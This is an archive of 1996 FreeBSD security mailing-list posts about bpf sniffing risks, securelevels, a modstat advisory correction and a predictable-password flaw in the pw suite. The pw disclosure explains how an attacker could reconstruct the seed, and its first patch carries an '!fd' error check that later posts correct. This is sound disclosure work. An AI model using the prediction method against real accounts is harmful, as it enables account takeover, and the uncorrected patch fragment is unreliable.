(brian@lin-pm3-004.inetnebr.com [206.222.210.4]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id IAA21038; Thu, 12 Dec 1996 08:28:52 -0800 (PST) Received: from localhost (brian@localhost) by redmare.com (8.7.4/8.7.3) with SMTP id KAA02107; Thu, 12 Dec 1996 10:24:37 -0600 (CST) X-Authentication-Warning: redmare.com: brian owned process doing -bs Date: Thu, 12 Dec 1996 10:24:34 -0600 (CST) From: Brian Mitchell X-Sender: brian@redmare.com To: FreeBSD Security Officer cc: freebsd-security-notifications@freebsd.org, freebsd-announce@freebsd.org, freebsd-security@freebsd.org, first-teams@first.org Subject: Re: FreeBSD Security Advisory: FreeBSD-SA-96:19.modstat In-Reply-To: <199612120918.KAA27535@gvr.win.tue.nl> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 10 Dec 1996, FreeBSD Security Officer wrote: > -----BEGIN PGP SIGNED MESSAGE----- > > ============================================================================= > FreeBSD-SA-96:19 Security Advisory > FreeBSD, Inc. > > Topic: Buffer overflow in modstat > > Category: core > Module: modstat > Announced: 1996-12-10 > Affects: FreeBSD 2.0, 2.0.5, 2.1, 2.1.5, 2.1.6, 2.1.6.1 > Corrected: FreeBSD-current as of 1996/08/08 > FreeBSD only: no > > Patches: ftp://freebsd.org/pub/CERT/patches/SA-96:19/ > > ============================================================================= > > I. Background > > The modstat program is used to display status of loaded kernel modules. > It is standard software in the FreeBSD operating system. > > II. Problem Description > > The modstat program has always been installed setuid kmem. Within > the program, a buffer overflow can occur. It's sgid kmem, not suid kmem. Brian Mitchell / brian@saturn.net From owner-freebsd-security Thu Dec 12 09:03:51 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id JAA23044 for security-outgoing; Thu, 12 Dec 1996 09:03:51 -0800 (PST) Received: from cs.pdx.edu (root@cs.pdx.edu [204.203.64.22]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id JAA23038 for ; Thu, 12 Dec 1996 09:03:48 -0800 (PST) Received: from sirius.cs.pdx.edu (root@sirius.cs.pdx.edu [204.203.64.13]) by cs.pdx.edu (8.8.3/8.8.3) with ESMTP id JAA14490 for ; Thu, 12 Dec 1996 09:03:46 -0800 (PST) Received: from localhost (jrb@localhost [127.0.0.1]) by sirius.cs.pdx.edu (8.8.3/8.8.3) with ESMTP id JAA11713 for ; Thu, 12 Dec 1996 09:03:45 -0800 (PST) Message-Id: <199612121703.JAA11713@sirius.cs.pdx.edu> To: freebsd-security@FreeBSD.ORG Subject: Re: Risk of having bpf0? In-reply-to: Your message of "Thu, 12 Dec 1996 10:31:46 +1030." <199612120001.KAA29724@genesis.atrad.adelaide.edu.au> Date: Thu, 12 Dec 1996 09:03:43 -0800 From: Jim Binkley Sender: owner-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk question: does rarpd turn i/fs on in promiscuous mode? or can it just use bpf to "read" lan broadcast packets off of a particular i/f. The problem with rarpd of course is that it wants ARP lan/bcast queries and how it is going to "read those" with ordinary sockets? Maybe I haven' t noticed that there is an AF_LINK socket and a way to bind it to an i/f? You may consider the following abstruse, but I don't... I'm in general not very thrilled by any networking protocol or sw daemon that absolutely must use promiscous mode to read all packets in order to find the occasional packet Z. Consider the underpowered laptop that got stuck on a lan where two p166 or sun ultras decide to have a multimedia festival. It might be a tad busier than it needs to be. Consider the near future when said lan may go much faster. People commonly use this line of reasoning to explain why multicast is better than broadcast (better other systems that don't care are less bothered). It applies here too. From a survivability viewpoint, I believe Bellovin opined somewhere, sometime that every net stack/o.s. has at least one killer packet out there with its name on it. Not necessarily just the famous large ping packet, but any packet. Why try to suck them all down just in case you haven't found it yet? It is not unreasonable to expect network protocol designers to minimize such needs. It is not unreasonable to expect o.s. designers to make i/fs so that routing daemons (which is what rarpd is in a tiny way) can have reasonable i/fs to get at stuff they need to function. Bruce Schneier has pointed out recently in comp.risks that security flaws are mostly bad sw engineering, not "bad crypto" algorithms. Old engineering can be improved I think. Sorry for the rant! :-> regards, Jim Binkley jrb@cs.pdx.edu From owner-freebsd-security Thu Dec 12 11:14:59 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id LAA28907 for security-outgoing; Thu, 12 Dec 1996 11:14:59 -0800 (PST) Received: from ican.net (ican.net [198.133.36.9]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id LAA28902 for ; Thu, 12 Dec 1996 11:14:56 -0800 (PST) Received: from gate.ican.net(really [198.133.36.2]) by ican.net via sendmail with esmtp id for ; Thu, 12 Dec 1996 14:13:35 -0500 (EST) (Smail-3.2 1996-Jul-4 #1 built 1996-Jul-10) Received: (from smap@localhost) by gate.ican.net (8.7.5/8.7.3) id OAA23606; Thu, 12 Dec 1996 14:10:06 -0500 (EST) Received: from nap.io.org(10.1.1.3) by gate.ican.net via smap (V1.3) id sma023604; Thu Dec 12 14:10:05 1996 Received: from localhost (taob@localhost) by nap.io.org (8.7.5/8.7.3) with SMTP id OAA27248; Thu, 12 Dec 1996 14:07:02 -0500 (EST) X-Authentication-Warning: nap.io.org: taob owned process doing -bs Date: Thu, 12 Dec 1996 14:07:01 -0500 (EST) From: Brian Tao To: David Greenman cc: FREEBSD-SECURITY-L Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) In-Reply-To: <199612110432.UAA10905@root.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Tue, 10 Dec 1996, David Greenman wrote: > > The moral of the story for me was never to put bpf in a "public" > server's kernel. I hope you've learned the same lesson. :-) Indeed I have. :) > Right, and if you have machines co-located, be sure to always give them > their own switch port - never connect them to a shared hub. We have that already, and as soon as equipment space and logistics allow it, the customer servers will be sitting on their own Ethernet port on the Cisco in case we want to do filtering or packet accounting. No customer has root access on their own machines either. > You should also strongly encourage the use of ssh whenever doing > remote logins. We've taken all of these precautions at Walnut Creek > CDROM... Everyone on staff here has already gotten into the habit of doing so, and it was made much easier now that F-Secure has released 1.0 of their SSH client for Windows. -- Brian Tao (BT300, taob@io.org, taob@ican.net) Senior Systems and Network Administrator, Internet Canada Corp. "Though this be madness, yet there is method in't" From owner-freebsd-security Thu Dec 12 11:16:29 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id LAA29004 for security-outgoing; Thu, 12 Dec 1996 11:16:29 -0800 (PST) Received: from ican.net (ican.net [198.133.36.9]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id LAA28997 for ; Thu, 12 Dec 1996 11:16:26 -0800 (PST) Received: from gate.ican.net(really [198.133.36.2]) by ican.net via sendmail with esmtp id for ; Thu, 12 Dec 1996 14:15:05 -0500 (EST) (Smail-3.2 1996-Jul-4 #1 built 1996-Jul-10) Received: (from smap@localhost) by gate.ican.net (8.7.5/8.7.3) id OAA23639; Thu, 12 Dec 1996 14:11:36 -0500 (EST) Received: from nap.io.org(10.1.1.3) by gate.ican.net via smap (V1.3) id sma023633; Thu Dec 12 14:11:23 1996 Received: from localhost (taob@localhost) by nap.io.org (8.7.5/8.7.3) with SMTP id OAA27253; Thu, 12 Dec 1996 14:08:20 -0500 (EST) X-Authentication-Warning: nap.io.org: taob owned process doing -bs Date: Thu, 12 Dec 1996 14:08:20 -0500 (EST) From: Brian Tao To: Brian Mitchell cc: FREEBSD-SECURITY-L Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Wed, 11 Dec 1996, Brian Mitchell wrote: > > If you disable it, remember to take lkm out with it. How do you disable lkm? I don't see any option in the LINT config to do so. I could delete /lkm and mod{load,unload,stat}, but they can be easily replaced by an intruder. -- Brian Tao (BT300, taob@io.org, taob@ican.net) Senior Systems and Network Administrator, Internet Canada Corp. "Though this be madness, yet there is method in't" From owner-freebsd-security Thu Dec 12 11:40:54 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id LAA00705 for security-outgoing; Thu, 12 Dec 1996 11:40:54 -0800 (PST) Received: from redmare.com (brian@lin-pm2-013.inetnebr.com [206.222.209.13]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id LAA00698 for ; Thu, 12 Dec 1996 11:40:51 -0800 (PST) Received: from localhost (brian@localhost) by redmare.com (8.7.4/8.7.3) with SMTP id NAA03617; Thu, 12 Dec 1996 13:35:48 -0600 (CST) X-Authentication-Warning: redmare.com: brian owned process doing -bs Date: Thu, 12 Dec 1996 13:35:47 -0600 (CST) From: Brian Mitchell X-Sender: brian@redmare.com To: Brian Tao cc: FREEBSD-SECURITY-L Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Thu, 12 Dec 1996, Brian Tao wrote: > On Wed, 11 Dec 1996, Brian Mitchell wrote: > > > > If you disable it, remember to take lkm out with it. > > How do you disable lkm? I don't see any option in the LINT config > to do so. I could delete /lkm and mod{load,unload,stat}, but they can > be easily replaced by an intruder. In securelevel 2, (k)mem is not writable; I'm guessing this will cripple lkm, although I am not possitive. Brian Mitchell / brian@saturn.net From owner-freebsd-security Thu Dec 12 14:27:17 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id OAA12301 for security-outgoing; Thu, 12 Dec 1996 14:27:17 -0800 (PST) Received: from ns2.harborcom.net (root@ns2.harborcom.net [206.158.4.4]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id OAA12296 for ; Thu, 12 Dec 1996 14:27:13 -0800 (PST) Received: from swoosh.dunn.org (swoosh.dunn.org [206.158.7.243]) by ns2.harborcom.net (8.8.3/8.8.3) with SMTP id RAA17340; Thu, 12 Dec 1996 17:27:04 -0500 (EST) Date: Thu, 12 Dec 1996 17:23:10 -0500 () From: Bradley Dunn To: Garrett Wollman cc: freebsd-security@freebsd.org Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) In-Reply-To: <9612121458.AA24275@halloran-eldar.lcs.mit.edu> Message-ID: X-X-Sender: bradley@harborcom.net MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Thu, 12 Dec 1996, Garrett Wollman wrote: > Not if you run at security level 2, make all the files in /bin, /sbin, You mean level 1, right? At level 2 it would be difficult to explain to users why they can't upload their web pages. :-) > /usr/bin, and /usr/sbin, and some of the files in /etc and / system > immutable, and make all those directories plus / and /dev system > append-only. If you're running a public-access shell system, you most > certainly should do just that. (It's a big hassle for ordinary users, > which is why we don't ship systems that way.) -BD From owner-freebsd-security Thu Dec 12 16:51:02 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id QAA27580 for security-outgoing; Thu, 12 Dec 1996 16:51:02 -0800 (PST) Received: from halloran-eldar.lcs.mit.edu (halloran-eldar.lcs.mit.edu [18.26.0.159]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id QAA27568 for ; Thu, 12 Dec 1996 16:51:00 -0800 (PST) Received: by halloran-eldar.lcs.mit.edu; (5.65v3.2/1.1.8.2/19Aug95-0530PM) id AA30153; Thu, 12 Dec 1996 19:50:53 -0500 Date: Thu, 12 Dec 1996 19:50:53 -0500 From: Garrett Wollman Message-Id: <9612130050.AA30153@halloran-eldar.lcs.mit.edu> To: Bradley Dunn Cc: freebsd-security@freebsd.org Subject: Re: Risk of having bpf0? (was URGENT: Packet sniffer found on my system) In-Reply-To: References: <9612121458.AA24275@halloran-eldar.lcs.mit.edu> Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk < said: > On Thu, 12 Dec 1996, Garrett Wollman wrote: >> Not if you run at security level 2, make all the files in /bin, /sbin, > You mean level 1, right? At level 2 it would be difficult to explain to > users why they can't upload their web pages. :-) No, I don't mean level 1, I mean level 2. That has nothing to do with users being able to upload their Web pages. To tag back with the original subject, BPF should probably refuse to work under high security level. -GAWollman -- Garrett A. Wollman | O Siem / We are all family / O Siem / We're all the same wollman@lcs.mit.edu | O Siem / The fires of freedom Opinions not those of| Dance in the burning flame MIT, LCS, ANA, or NSA| - Susan Aglukark and Chad Irschick From owner-freebsd-security Thu Dec 12 17:37:53 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id RAA00660 for security-outgoing; Thu, 12 Dec 1996 17:37:53 -0800 (PST) Received: from who.cdrom.com (who.cdrom.com [204.216.27.3]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id RAA00651 for ; Thu, 12 Dec 1996 17:37:51 -0800 (PST) Received: from xmission.xmission.com (softweyr@xmission.xmission.com [198.60.22.2]) by who.cdrom.com (8.7.5/8.6.11) with ESMTP id RAA18456 for ; Thu, 12 Dec 1996 17:37:50 -0800 (PST) Received: (from softweyr@localhost) by xmission.xmission.com (8.8.4/8.7.5) id SAA21478; Thu, 12 Dec 1996 18:35:44 -0700 (MST) From: Softweyr LLC Message-Id: <199612130135.SAA21478@xmission.xmission.com> Subject: Re: Risk of having bpf0? To: jhupp@gensys.com (Jeff Hupp) Date: Thu, 12 Dec 1996 18:35:43 -0700 (MST) Cc: lithium@cia-g.com, security@freebsd.org In-Reply-To: <199612121501.JAA23109@black.gensys.com> from "Jeff Hupp" at Dec 12, 96 09:01:46 am X-Mailer: ELM [version 2.4 PL25] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Stephen Fisher bound electrons in the following form:: : Can't the hacker just recompile the kernel with bpf support and then use : it, though? Jef Hupp wittily replied: > I notice when one of my systems reboots. > > Leaving bpf in a public machine connected to the internet is a bit > like leaving a loaded gun in a public place ~ you are largely responsible > for what happens. Also, a good security monitoring program will notice *new* devices in the kernel (since the last run, or update of the database) and warn you about them. No, I don't know of one for FreeBSD that does this, but it would make a great M.S. non-thesis project. ;^) -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC http://www.xmission.com/~softweyr softweyr@xmission.com From owner-freebsd-security Sat Dec 14 01:30:39 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id BAA18402 for security-outgoing; Sat, 14 Dec 1996 01:30:39 -0800 (PST) Received: from pdx1.world.net (pdx1.world.net [192.243.32.18]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id BAA18388 for ; Sat, 14 Dec 1996 01:30:36 -0800 (PST) Received: from suburbia.net (suburbia.net [203.4.184.1]) by pdx1.world.net (8.7.5/8.7.3) with SMTP id BAA21659 for ; Sat, 14 Dec 1996 01:31:02 -0800 (PST) Received: (qmail 17575 invoked from network); 14 Dec 1996 09:09:09 -0000 Received: from unknown (HELO profane.iq.org) (203.4.184.215) by suburbia.net with SMTP; 14 Dec 1996 09:09:09 -0000 Received: (from proff@localhost) by profane.iq.org (8.8.4/8.8.2) id MAA04647; Sat, 14 Dec 1996 12:43:58 +1100 (EST) Date: Sat, 14 Dec 1996 12:43:58 +1100 (EST) From: Julian Assange Message-Id: <199612140143.MAA04647@profane.iq.org> To: hackers@freebsd.org, security@freebsd.org Subject: pw account suite patch typo Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk + if (!fd || read(fd, buf, len)!=len) { should of course read + if (fd == -1 || read(fd, buf, len)!=len) { -Julian A. From owner-freebsd-security Sat Dec 14 01:30:44 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id BAA18439 for security-outgoing; Sat, 14 Dec 1996 01:30:44 -0800 (PST) Received: from pdx1.world.net (pdx1.world.net [192.243.32.18]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id BAA18421 for ; Sat, 14 Dec 1996 01:30:41 -0800 (PST) Received: from suburbia.net (suburbia.net [203.4.184.1]) by pdx1.world.net (8.7.5/8.7.3) with SMTP id BAA21658 for ; Sat, 14 Dec 1996 01:30:57 -0800 (PST) Received: (qmail 17540 invoked from network); 14 Dec 1996 09:00:36 -0000 Received: from unknown (HELO profane.iq.org) (203.4.184.215) by suburbia.net with SMTP; 14 Dec 1996 09:00:36 -0000 Received: (from proff@localhost) by profane.iq.org (8.8.4/8.8.2) id MAA04639; Sat, 14 Dec 1996 12:35:26 +1100 (EST) From: Julian Assange Message-Id: <199612140135.MAA04639@profane.iq.org> Subject: vulnerability in new pw suite To: security@freebsd.org Date: Sat, 14 Dec 1996 12:35:25 +1100 (EST) Cc: hackers@freebsd.org X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk The FreeBSD account administration pw suite is able to produce "random" passwords for new accounts. Due to the simplicity of the password generation algorithm involved, the passwords are easily predictable amid a particular range of possibilities. This range may be very narrow, depending on what sort of information is available to the attacker. The pid and the current time in seconds are ored (NOT xored) together and used as the seed. Because of this, the probability of a lower bit in the seed of being on is 3/4. The msb's of the seed change very slowly and predictably over time and in effect contain no entropy. If the attacker has access to the file system then the time the account was created on can by guessed very accurately by examining the creation date of the new account's directory, or the creation date of the new account's mail spool file. With the time part of the seed known it is then possible to generate an a mask to eliminate 50% of the remaining possible pid values. The pid can be further approximated retrospectively by correlation between time stamps and pid values from a wide number of file system sources such as the pid of the sendmail task used to deliver the new-user mail, to names of /tmp and queue files. An active attack (looking for the "pw" process or other signs of account creation) will of course locate the pid very closely, if not exactly. The attached patch addresses the problem. -Julian A. (proff@suburbia.net) --- /usr/src/usr.sbin/pw/pw_user.c.orig Thu Dec 12 02:10:47 1996 +++ /usr/src/usr.sbin/pw/pw_user.c Sat Dec 14 11:37:50 1996 @@ -33,6 +33,10 @@ #include #include #include +#include +#include +#include +#include #include "pw.h" #include "bitmap.h" #include "pwupd.h" @@ -738,19 +742,61 @@ return strcpy(buf, crypt(password, salt)); } +u_char * +pw_genmd5rand (u_char *d) /* cryptographically secure rng */ +{ + MD5_CTX md5_ctx; + struct timeval tv, tvo; + struct rusage ru; + int n=0; + int t; + MD5Init (&md5_ctx); + t=getpid(); + MD5Update (&md5_ctx, (u_char*)&t, sizeof t); + t=getppid(); + MD5Update (&md5_ctx, (u_char*)&t, sizeof t); + gettimeofday (&tvo, NULL); + do { + getrusage (RUSAGE_SELF, &ru); + MD5Update (&md5_ctx, (u_char*)&ru, sizeof ru); + gettimeofday (&tv, NULL); + MD5Update (&md5_ctx, (u_char*)&tv, sizeof tv); + } while (n++<20 || tv.tv_usec-tvo.tv_usec<100*1000); + MD5Final (d, &md5_ctx); + return d; +} + +static u_char * +pw_getrand(u_char *buf, int len) +{ + int fd; + fd = open("/dev/urandom", O_RDONLY); + if (!fd || read(fd, buf, len)!=len) { + int n; + for (n=0;ndefault_password) { case -1: /* Random password */ srandom((unsigned) (time(NULL) | getpid())); l = (random() % 8 + 8); /* 8 - 16 chars */ + pw_getrand(rndbuf, l); for (i = 0; i < l; i++) - pwbuf[i] = chars[random() % sizeof(chars)]; + pwbuf[i] = chars[rndbuf[i] % sizeof(chars)]; pwbuf[i] = '\0'; /* From owner-freebsd-security Sat Dec 14 03:34:08 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id DAA22850 for security-outgoing; Sat, 14 Dec 1996 03:34:08 -0800 (PST) Received: from irz401.inf.tu-dresden.de (irz401.inf.tu-dresden.de [141.76.1.12]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id DAA22772; Sat, 14 Dec 1996 03:34:00 -0800 (PST) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by irz401.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id MAA02828; Sat, 14 Dec 1996 12:33:24 +0100 Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id MAA02700; Sat, 14 Dec 1996 12:33:23 +0100 Received: (from j@localhost) by uriah.heep.sax.de (8.8.2/8.6.9) id MAA25312; Sat, 14 Dec 1996 12:30:53 +0100 (MET) From: J Wunsch Message-Id: <199612141130.MAA25312@uriah.heep.sax.de> Subject: Re: pw account suite patch typo To: proff@iq.org (Julian Assange) Date: Sat, 14 Dec 1996 12:30:53 +0100 (MET) Cc: hackers@freebsd.org, security@freebsd.org Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199612140143.MAA04647@profane.iq.org> from Julian Assange at "Dec 14, 96 12:43:58 pm" X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Julian Assange wrote: > + if (!fd || read(fd, buf, len)!=len) { > > should of course read > + if (fd == -1 || read(fd, buf, len)!=len) { Which file? Which file revision? I can't seem to find your quote in the entire suite anyway. -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-security Sat Dec 14 03:35:06 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id DAA22976 for security-outgoing; Sat, 14 Dec 1996 03:35:06 -0800 (PST) Received: from irz401.inf.tu-dresden.de (irz401.inf.tu-dresden.de [141.76.1.12]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id DAA22969; Sat, 14 Dec 1996 03:35:01 -0800 (PST) Received: from sax.sax.de (sax.sax.de [193.175.26.33]) by irz401.inf.tu-dresden.de (8.6.12/8.6.12-s1) with ESMTP id MAA02833; Sat, 14 Dec 1996 12:34:42 +0100 Received: (from uucp@localhost) by sax.sax.de (8.6.12/8.6.12-s1) with UUCP id MAA02701; Sat, 14 Dec 1996 12:33:25 +0100 Received: (from j@localhost) by uriah.heep.sax.de (8.8.2/8.6.9) id MAA25325; Sat, 14 Dec 1996 12:31:37 +0100 (MET) From: J Wunsch Message-Id: <199612141131.MAA25325@uriah.heep.sax.de> Subject: Re: vulnerability in new pw suite To: proff@iq.org (Julian Assange) Date: Sat, 14 Dec 1996 12:31:37 +0100 (MET) Cc: security@freebsd.org, hackers@freebsd.org Reply-To: joerg_wunsch@uriah.heep.sax.de (Joerg Wunsch) In-Reply-To: <199612140135.MAA04639@profane.iq.org> from Julian Assange at "Dec 14, 96 12:35:25 pm" X-Phone: +49-351-2012 669 X-PGP-Fingerprint: DC 47 E6 E4 FF A6 E9 8F 93 21 E0 7D F9 12 D6 4E X-Mailer: ELM [version 2.4ME+ PL17 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk As Julian Assange wrote: > The FreeBSD account administration pw suite is able to produce > "random" passwords for new accounts. Due to the simplicity of the > password generation algorithm involved, the passwords are easily > predictable amid a particular range of possibilities. This range > may be very narrow, depending on what sort of information is > available to the attacker. Is there any particular reason why you didn't submit this to the author in the first place? (Forwarded to David now.) -- cheers, J"org joerg_wunsch@uriah.heep.sax.de -- http://www.sax.de/~joerg/ -- NIC: JW11-RIPE Never trust an operating system you don't have sources for. ;-) From owner-freebsd-security Sat Dec 14 04:59:33 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id EAA26077 for security-outgoing; Sat, 14 Dec 1996 04:59:33 -0800 (PST) Received: from pdx1.world.net (pdx1.world.net [192.243.32.18]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id EAA26064 for ; Sat, 14 Dec 1996 04:59:31 -0800 (PST) From: proff@suburbia.net Received: from suburbia.net (suburbia.net [203.4.184.1]) by pdx1.world.net (8.7.5/8.7.3) with SMTP id FAA24304 for ; Sat, 14 Dec 1996 05:00:05 -0800 (PST) Received: (qmail 989 invoked by uid 110); 14 Dec 1996 12:59:16 -0000 Message-ID: <19961214125916.988.qmail@suburbia.net> Subject: Re: vulnerability in new pw suite In-Reply-To: <199612141131.MAA25325@uriah.heep.sax.de> from J Wunsch at "Dec 14, 96 12:31:37 pm" To: joerg_wunsch@uriah.heep.sax.de Date: Sat, 14 Dec 1996 23:59:16 +1100 (EST) Cc: proff@iq.org, security@freebsd.org, hackers@freebsd.org X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > may be very narrow, depending on what sort of information is > > available to the attacker. > > Is there any particular reason why you didn't submit this to the > author in the first place? (Forwarded to David now.) The pw code only made it into current a week ago. I doubt anyone is using it yet. From owner-freebsd-security Sat Dec 14 06:16:04 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id GAA00663 for security-outgoing; Sat, 14 Dec 1996 06:16:04 -0800 (PST) Received: from sovcom.kiae.su (sovcom.kiae.su [193.125.152.1]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id GAA00632; Sat, 14 Dec 1996 06:15:58 -0800 (PST) Received: by sovcom.kiae.su id AA28924 (5.65.kiae-1 ); Sat, 14 Dec 1996 16:54:21 +0300 Received: by sovcom.KIAE.su (UUMAIL/2.0); Sat, 14 Dec 96 16:54:21 +0300 Received: from localhost (nagual.ru [127.0.0.1]) by nagual.ru (8.8.4/8.8.4) with SMTP id QAA00442; Sat, 14 Dec 1996 16:51:09 +0300 (MSK) Date: Sat, 14 Dec 1996 16:51:08 +0300 (MSK) From: =?KOI8-R?Q?=E1=CE=C4=D2=C5=CA_=FE=C5=D2=CE=CF=D7=2C_Andrey_Chernov?= To: Julian Assange Cc: security@freebsd.org, hackers@freebsd.org Subject: Re: vulnerability in new pw suite In-Reply-To: <199612140135.MAA04639@profane.iq.org> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk On Sat, 14 Dec 1996, Julian Assange wrote: > The FreeBSD account administration pw suite is able to produce > "random" passwords for new accounts. Due to the simplicity of the > password generation algorithm involved, the passwords are easily > predictable amid a particular range of possibilities. This range > may be very narrow, depending on what sort of information is > available to the attacker. I agree on this subj. but I wonder about method you use, it is unnecessary complex, reading /dev/urandom will be enough without MD5 hashing. /dev/urandom not optional device, so if it isn't exists or not give enough bytes it must be detected as program failure and not covered by MD5 workaround. random() must be replaced with /dev/urandom reading, because password length will be easily predicted too. -- Andrey A. Chernov http://www.nagual.ru/~ache/ From owner-freebsd-security Sat Dec 14 11:32:31 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id LAA02317 for security-outgoing; Sat, 14 Dec 1996 11:32:31 -0800 (PST) Received: from eternal.dusk.net (root@eternal.dusk.net [207.219.16.2]) by freefall.freebsd.org (8.8.4/8.8.4) with ESMTP id LAA02306 for ; Sat, 14 Dec 1996 11:32:27 -0800 (PST) Received: (from vlad@localhost) by eternal.dusk.net (8.8.4/8.8.4) id PAA05834 for freebsd-security@freebsd.org; Sat, 14 Dec 1996 15:31:12 -0400 (AST) From: Christian Hochhold Message-Id: <199612141931.PAA05834@eternal.dusk.net> Subject: questions... To: freebsd-security@freebsd.org Date: Sat, 14 Dec 1996 15:31:12 -0400 (AST) X-URL: http://www.dusk.net & http://www.vampires.net X-Moto: Live for today and let the future take care of itself X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hello, Could someone answer a quick question for me, it would be most appreciated. The /sbin directory's ( as an example ) files seem to be executable by anyone on the system. I have changed a few of the files ( ie. dmesg ) to be executable by root as well as the bin group only. What files should I be most concerned about that users can execute ( such as ifconfig ) but really have no business to? What about directories such as / ? Thanks in advance =) Christian From owner-freebsd-security Sat Dec 14 12:18:39 1996 Return-Path: Received: (from root@localhost) by freefall.freebsd.org (8.8.4/8.8.4) id MAA07108 for security-outgoing; Sat, 14 Dec 1996 12:18:39 -0800 (PST) Received: from bitbucket.edmweb.com (bitbucket.edmweb.com [204.244.190.9]) by freefall.freebsd.org (8.8.4/8.8.4) with SMTP id MAA07096 for ; Sat, 14 Dec 1996 12:18:35 -0800 (PST) Received: (from steve@localhost) by bitbucket.edmweb.com (8.6.12/8.6.12) id MAA00885; Sat, 14 Dec 1996 12:18:24 -0800 Date: Sat, 14 Dec 1996 12:18:21 -0800 (PST) From: Steve Reid To: Christian Hochhold cc: freebsd-security@freebsd.org Subject: Re: questions... In-Reply-To: <199612141931.PAA05834@eternal.dusk.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > The /sbin directory's ( as an example ) files seem to > be executable by anyone on the system. > I have changed a few of the files ( ie. dmesg ) > to be executable by root as well as > the bin group only. Only worry about files that are suid or sgid. 